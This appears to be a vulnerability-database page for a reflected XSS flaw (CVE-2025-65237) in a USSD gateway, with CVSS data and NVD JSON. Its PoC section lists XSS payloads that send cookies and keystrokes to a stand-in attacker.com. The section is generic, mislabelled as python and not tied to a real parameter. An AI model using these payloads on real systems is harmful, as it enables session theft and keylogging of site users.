Security Vulnerability Report
中文
CVE-2025-65237 CVSS 6.1 MEDIUM

CVE-2025-65237

Published: 2025-11-26 17:15:47
Last Modified: 2026-01-02 20:46:26

Description

A reflected cross-site scripted (XSS) vulnerability in OpenCode Systems USSD Gateway OC Release: 5 allows attackers to execute arbitrary JavaScript in the context of a user's browser via injecting a crafted payload.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:opencode:ussd_gateway:6.13.11:*:*:*:*:*:*:* - VULNERABLE
OpenCode Systems USSD Gateway OC Release: 5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-65237 PoC - Reflected XSS in OpenCode Systems USSD Gateway --> <!-- This PoC demonstrates the reflected XSS vulnerability --> <!-- Basic XSS payload --> https://[TARGET]/ussd_gateway_endpoint?param=<script>alert(document.cookie)</script> <!-- Cookie stealing payload --> https://[TARGET]/ussd_gateway_endpoint?param=<img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie"> <!-- Session hijacking payload --> https://[TARGET]/ussd_gateway_endpoint?param=<script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script> <!-- Keylogger payload --> https://[TARGET]/ussd_gateway_endpoint?param=<script>document.onkeypress=function(e){fetch('https://attacker.com/klog?k='+e.key)}</script> <!-- Note: Replace [TARGET] with actual target URL and identify the vulnerable parameter --> <!-- The vulnerability can be exploited via any user-supplied input field --> <!-- Successful exploitation requires victim interaction (clicking the malicious link) -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65237", "sourceIdentifier": "[email protected]", "published": "2025-11-26T17:15:47.313", "lastModified": "2026-01-02T20:46:26.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripted (XSS) vulnerability in OpenCode Systems USSD Gateway OC Release: 5 allows attackers to execute arbitrary JavaScript in the context of a user's browser via injecting a crafted payload."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opencode:ussd_gateway:6.13.11:*:*:*:*:*:*:*", "matchCriteriaId": "56AD3C50-7C66-4B18-9817-AC6E9D7E8B42"}]}]}], "references": [{"url": "https://eslam3kl.gitbook.io", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://eslam3kl.gitbook.io/blog/web-application-findings/cve-2025-65237-ussd-gateway-reflected-cross-site-scripting", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/eslam3kl", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://eslam3kl.gitbook.io/blog/web-application-findings/cve-2025-65237-ussd-gateway-reflected-cross-site-scripting", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}